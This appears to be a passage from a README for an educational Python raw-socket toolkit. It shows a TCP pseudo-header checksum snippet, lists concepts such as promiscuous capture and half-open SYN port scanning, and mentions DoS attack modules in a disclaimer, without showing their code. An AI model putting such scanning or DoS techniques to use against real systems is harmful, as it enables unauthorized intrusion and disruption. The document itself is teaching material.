# TCP checksum covers IP addresses — binds TCP checksum to the IP layer
# so misrouted packets are detected even if IP header looks valid
pseudo_header = struct.pack("!4s4sBBH",
socket.inet_aton(src_ip),
socket.inet_aton(dst_ip),
0,
6, # TCP protocol number
tcp_length
)
No third-party libraries. No abstractions. Just bytes.
Key Technical Concepts
- Struct packing — converting Python values to raw bytes using format strings (
!BBHHHBBH4s4s) - Bit manipulation — packing multiple fields into single bytes with
<<,>>,&,| - RFC 1071 checksums — one's complement sum with carry folding
- Raw sockets —
AF_PACKETfor Ethernet-layer capture,IPPROTO_RAWfor sending - Promiscuous mode — capturing all traffic regardless of destination MAC
- Half-open scanning — SYN without final ACK to detect open ports
- Threading —
ThreadPoolExecutorfor concurrent port scanning - State machines — tracking TCP handshake state across multiple packets
The Wireshark Moment
One thing worth noting for anyone starting a similar project — when I first opened Wireshark after learning "TCP is reliable, use it when data matters," I expected to see TCP everywhere on a Google search. Instead I saw mostly UDP on port 443.
That's QUIC (HTTP/3) — Google rebuilt reliability on top of UDP with their own custom rules, because it's faster than TCP for modern web traffic. No three-way handshake delay, no head-of-line blocking. The surface-level explanation of TCP vs UDP completely missed this.
Building this project from the byte level up is what made that make sense. You can't fully understand why modern protocols make the choices they do until you understand what they're working around.
Detailed Documentation
For a full writeup of every protocol concept, implementation decision, and challenge faced during this project, see docs/protocol_notes.md
Disclaimer
This toolkit is for educational purposes and authorized security testing only. The attack modules simulate real DoS attacks and must only be used against systems you own or have explicit written permission to test.
Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws in other jurisdictions.
License
MIT License — use freely, learn deeply.